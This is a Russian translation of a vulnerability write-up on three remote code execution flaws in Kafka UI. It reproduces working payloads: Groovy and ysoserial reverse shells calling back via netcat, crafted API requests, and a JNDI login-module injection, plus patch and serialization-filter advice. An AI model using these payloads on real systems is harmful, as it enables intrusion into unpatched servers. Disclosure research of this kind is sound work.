Статья Три способа получить RCE в интерфейсе Kafka

[BLUA]

Источник: https://github.blog/security/vulnerability-research/3-ways-to-get-remote-code-execution-in-kafka-ui/
Перевод: BLUA специально для xss.pro

Kafka UI — это популярное веб-приложение с открытым исходным кодом, предназначенное для управления и мониторинга кластеров Apache Kafka. Оно используется в основном разработчиками и администраторами для предоставления визуального представления подключенных кластеров Kafka. Некоторые пользователи могут не знать, что в своей конфигурации по умолчанию Kafka UI не требует аутентификации для чтения и записи данных. Это приводит к тому, что многие незащищенные экземпляры Kafka UI развертываются во внутренних сетях или даже выставляются в интернет. Это может не казаться серьезной проблемой безопасности, так как открытые данные могут быть общедоступными или не чувствительными, но это может открыть дверь во внутреннюю сеть.

В ходе моего исследования безопасности мне стало интересно: возможно, я смогу найти способ не только просматривать сообщения, отправленные в Kafka, но и читать файлы, обнаруживать учетные данные или даже получить удаленное выполнение кода (RCE). В этом блоге я поделюсь своим путем, как мне удалось найти три разные уязвимости RCE в интерфейсе Kafka UI.

Эти уязвимости исправлены в версии 0.7.2, поэтому, если вы используете Kafka UI, обязательно обновитесь!

CVE-2023-52251: Удаленное выполнение кода (RCE) через выполнение скрипта на Groovy

После изучения веб-интерфейса Kafka UI мое внимание привлекла функция фильтрации сообщений. Kafka UI позволяет вам задать простой запрос для фильтрации сообщений на стороне сервера. Когда я посмотрел исходный код, я обнаружил, что внутренне Kafka поддерживает тип фильтра GROOVY_SCRIPT и выполняет его как скрипт на Groovy, что дает возможность злоумышленнику выполнить произвольный код.

MessageFilters.java:

public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
    switch (type) {
      case STRING_CONTAINS:
        return containsStringFilter(query);
      case GROOVY_SCRIPT:
        return groovyScriptFilter(query);
      default:
        throw new IllegalStateException("Unknown query type: " + type);
    }
  }

Чтобы протестировать это, перейдите через интерфейс к одному из кластеров, затем выберите одну из тем и нажмите на вкладку «Сообщения». Затем создайте новый фильтр со следующим содержимым:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

Этот Groovy-скрипт создаст новый процесс с обратной оболочкой на ваш адрес. Когда мы выполняем это через интерфейс, браузер отправляет следующий запрос на сервер:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091

Вы можете повторно отправить и экспериментировать с этим запросом в HTTP-клиенте, таком как Burp Suite Repeater.

Стандартный Docker-образ Kafka имеет установленный Netcat, но если он не работает, вы также можете использовать более сложный Groovy-скрипт для обратной оболочки, например, такой:

String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();
    break;
  }
  catch (Exception e){}
};
p.destroy();
s.close();

Обратите внимание, что для успешного выполнения этой уязвимости подключенный кластер Kafka (в примере "local") должен иметь как минимум одну включенную тему с некоторыми сообщениями внутри. В противном случае, злоумышленник может воспользоваться API интерфейса Kafka UI для их создания:

POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json

{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}

POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json

{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

Важно отметить, что даже если Kafka защищена аутентификацией и имеет как минимум одну тему с сообщениями, удаленное выполнение кода (RCE) может быть вызвано простым GET HTTP-запросом. Таким образом, это также может быть использовано в атаке типа CSRF, отправив фишинговую ссылку и открыв ее из браузера администратора.

Я сообщил об этой уязвимости поддерживающим Kafka UI 28 ноября 2023 года, и она была исправлена только 10 апреля 2024 года в выпуске 0.7.2. Позже мы обнаружили, что та же уязвимость была сообщена другим исследователем, который уже опубликовал эксплойт для нее еще до выпуска исправления, оставив множество экземпляров Kafka UI незащищенными.

CVE-2024-32030: Удаленное выполнение кода (RCE) через JMX-коннектор

Еще одна поверхность атаки, открытая Kafka UI, — это возможность подключения к любому кластеру Kafka. Обычно Kafka UI берет конфигурацию кластера из локального файла application.yml, но если включена настройка dynamic.config.enabled, Kafka UI также может быть перенастроен через API. Эта настройка не включена по умолчанию, но рекомендуется включить ее во многих руководствах по Kafka UI, включая собственный файл README.md.

Я немного экспериментировал с изучением протокола Kafka, который является проприетарным бинарным протоколом. Моя идея заключалась в том, чтобы настроить вредоносный брокер Kafka и подключить к нему Kafka UI, чтобы таким образом вызвать что-то интересное. Во время тестирования этой функции я заметил, что Kafka UI также предоставляет возможность мониторинга производительности брокеров Kafka. Для этого бэкенд Kafka UI подключается к их JMX-портам. Эта функция особенно интересна с точки зрения безопасности, так как JMX является сложным протоколом, основанным на RMI, и поэтому он по своей природе уязвим к атакам на десериализацию.

Конкретно, я обнаружил, что могу заставить бэкенд Kafka UI подключиться к произвольному JMX-серверу, добавив новый кластер Kafka через интерфейс. Чтобы протестировать это, перейдите на панель управления и нажмите «Настроить новый кластер». Затем установите следующие параметры:

Когда вы нажмете кнопку «Отправить», браузер отправит новую конфигурацию в формате JSON:

PUT /api/config HTTP/1.1
Host: localhost:8091
Content-Length: 194
Content-Type: application/json
Connection: close

{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka:9092","properties":{},"readOnly":false},
{"name":"jmx-exploit1","bootstrapServers":"host.docker.internal:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}

Когда Kafka UI обрабатывает этот запрос, он сначала пытается подключиться к серверу начальной загрузки кластера Kafka, используя значение из bootstrapServers. Если подключение успешно, сервер начальной загрузки возвращает список брокеров Kafka (узлов). Обычно это значение указывается в свойстве KAFKA_ADVERTISED_LISTENERS Kafka.

Затем Kafka UI пытается подключиться к одному из брокеров, используя следующий адрес JMX:

jmx:rmi:///jndi/rmi://:/jmxrmi

Это может вызвать "знаменитую" атаку JNDI, подобную той, что мы видели в Log4j и многих других продуктах на Java.

Для достижения удалённого выполнения кода (RCE) через вектор JNDI мы не можем использовать «классический» метод атаки через «classFactoryLocation», так как он исправлен в современных версиях JDK. Другой метод эксплуатации Object Factories также не работает для Kafka UI, так как он не содержит необходимых классов. Тем не менее, по состоянию на май 2024 года, мы всё ещё можем выполнить атаку десериализации даже в самых последних версиях JDK. Таким образом, вместо настройки легитимного JMX-порта злоумышленник может создать RMI-слушатель, который возвращает вредоносный сериализованный объект для любого RMI-вызова.

Единственным препятствием для этой атаки было найти подходящую цепочку гаджетов. Все публичные цепочки гаджетов из инструмента ysoserial не работали для меня, так как Kafka UI использовал последние версии Commons Collections и аналогичных библиотек. В поисках подходящей цепочки гаджетов я наткнулся на интересный отчет на HackerOne, который эксплуатирует аналогичную уязвимость в Kafka Connect. Автор отчета использовал необычную цепочку гаджетов на основе библиотеки Scala, которая оказалась именно тем, что мне нужно. Я быстро перенес эту цепочку в свою ветку ysoserial, чтобы создать доказательство концепции эксплойта. Я объясню, как использовать этот эксплойт ниже, но также не стесняйтесь ознакомиться с кодом генерации цепочки гаджетов, если вам интересно, что происходит внутри. Эта цепочка гаджетов и детали эксплойта довольно сложны по своей природе.

Шаги воспроизведения

Чтобы продемонстрировать вредоносный брокер и JMX слушатели, я создал специальный файл docker compose.yml. Его сервисы kafka-malicious-broker, ysoserial-stage1 и ysoserial-stage2 были разработаны мной специально для эксплуатации этой уязвимости (CVE). Единственное изменение, которое вам нужно внести в этот файл, — это изменить рекламируемый адрес на вредоносном брокере Kafka и JMX конечных точках с host.internal.docker на ваш собственный хост, который доступен из целевого экземпляра Kafka UI.

Итак, чтобы воспроизвести это, вам нужно использовать Kafka UI для подключения к адресу начальной загрузки вредоносного брокера host.internal.docker:9093, как я объяснил выше, и установить опцию порта JMX на 1718. Затем Kafka подключится к порту JMX по адресу host.internal.docker:1718, который должен быть перенаправлен в контейнер Docker ysoserial-stage1.

Этот контейнер отвечает полезной нагрузкой Scala1, сгенерированной следующей командой:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

Эта полезная нагрузка будет десериализована на стороне Kafka UI. Она не вызывает выполнение удаленного кода (RCE) напрямую, но приводит к установке системного свойства org.apache.commons.collections.enableUnsafeSerialization в значение true. Вы можете заметить некоторые ошибки в логах Kafka UI, это ожидаемо:

Затем нам нужно повторно отправить запрос PUT /api/config на Kafka UI, но изменить JMX порт на 1719, который будет перенаправлен в контейнер ysoserial-stage2. Этот контейнер возвращает следующую полезную нагрузку ysoserial:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"

Поскольку свойство org.apache.commons.collections.enableUnsafeSerialization было включено ранее с помощью полезной нагрузки Scala, это приведет к выполнению команды nc host.docker.internal 1234 -e sh в Java-процессе Kafka UI. В результате будет создан обратный шелл, который подключится к TCP-порту 1234 на host.docker.container.

Если вам интересно, как десериализация вызывает System.setProperty и выполнение команды, вы можете ознакомиться с исходным кодом соответствующих цепочек гаджетов: Scala1.java и CommonsCollections7.java.

Также вы можете установить точку останова в StreamRemoteCall.java на строке 271, чтобы увидеть, как объект десериализуется.

Patch

Аналогично предыдущей проблеме, разработчикам потребовалось почти шесть месяцев, чтобы внедрить исправление в версии 0.7.2 Kafka UI. Они исправили это, просто обновив библиотеку Apache Commons Collections до более новой версии. Хотя это предотвращает второй этап цепочки гаджетов, которую я упомянул выше, десериализация недоверенных данных все еще может происходить.

Так как десериализация происходит во время RMI-вызова, код, который фактически вызывает ObjectInputStream.readObject(), находится в JDK, а не в кодовой базе Kafka UI. Один из других способов, которые мы предлагаем для снижения риска, заключается в разрешении десериализации только определенных классов. JEP-290 предоставляет возможность использовать свойство jdk.serialFilter для определения глобального списка разрешенных классов, которые безопасно десериализовать.

Например, мы можем использовать следующий фильтр, чтобы предотвратить десериализацию многих классов библиотек:

-Djdk.serialFilter="java.lang.*;java.math.*;java.util.**;javax.management.**;java.rmi.**;javax.security.auth.Subject;!*"

Этот фильтр все еще позволяет JMX функционировать правильно, но это всего лишь предложение, которое необходимо тщательно протестировать.

CVE-2023-25194: Удаленное выполнение кода через JndiLoginModule

После того как мне удалось добиться удаленного выполнения кода через эксплойт JMX, я понял, что уязвимость Kafka Connect, которую я видел в отчете на HackerOne, также можно использовать в интерфейсе Kafka.

В интерфейсе Kafka есть специальная конечная точка, которая позволяет тестировать подключение к кластеру Kafka с пользовательскими свойствами. Ее можно вызвать, отправив следующий запрос:

PUT /api/config/validated HTTP/1.1
Host: localhost:8091
Content-Length: 409
Content-Type: application/json

{"properties":{"kafka":{"clusters":[{"name":"test","bootstrapServers":"host.docker.internal:9093","properties":{"security.protocol":"SASL_PLAINTEXT","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://host.docker.internal:1718/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"x\";","sasl.mechanism":"x"},"readOnly":false}]}}}

Здесь мы можем задать некоторые особые свойства кластера, такие как "security.protocol":"SASL_PLAINTEXT" и "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule". Эксплуатация этой уязвимости аналогична эксплойту JMX (CVE-2024-32030); мы можем использовать ту же цепочку гаджетов и контейнеры Docker. В этом случае нам даже не нужно запускать вредоносный экземпляр Kafka на host.docker.internal:9093, так как вызов JNDI происходит до этого.

Снова, интерфейс Kafka уязвим для этой CVE только в том случае, если свойство dynamic.config.enabled установлено в true. В противном случае мы не можем изменить свойства кластера, и, следовательно, наша атака не сработает.

К счастью, выпуск Kafka UI версии 0.7.2 также включает обновленную зависимость для Kafka Connect. Это устраняет проблему, полностью запрещая использование JndiLoginModule.

Настройка тестирования

Если вы хотите протестировать все эти эксплойты локально, вот скрипт compose.yml, который я создал специально для тестирования и отладки Kafka UI. Используя этот скрипт и команду docker compose up, вы можете запустить контейнеры Docker для Kafka UI, брокера Kafka и Apache Zookeeper. После запуска Kafka UI будет доступен по адресу http://localhost:8091/. Это также запускает вредоносный брокер Kafka и пару экземпляров ysoserial, которые я использовал для демонстрации proof-of-concept эксплойта.

Заключительные мысли

Kafka UI — это современное приложение, которое использует мощные возможности Java для мониторинга кластеров Kafka, такие как Groovy-скриптинг, JMX и SASL JAAS. При взаимодействии с пользовательским вводом эти функции должны быть тщательно ограничены, чтобы предотвратить возможное злоупотребление. Эти технологии не являются уникальными для Kafka UI, они предоставляются Java Development Kit и используются во многих других проектах. За последние несколько лет разработчики JDK внедрили множество улучшений для защиты от эксплуатации JMX и JNDI, устранив некоторые векторы атак. Тем не менее, как мы видим, они все еще могут быть уязвимы в определенных условиях, даже в последних сборках JDK.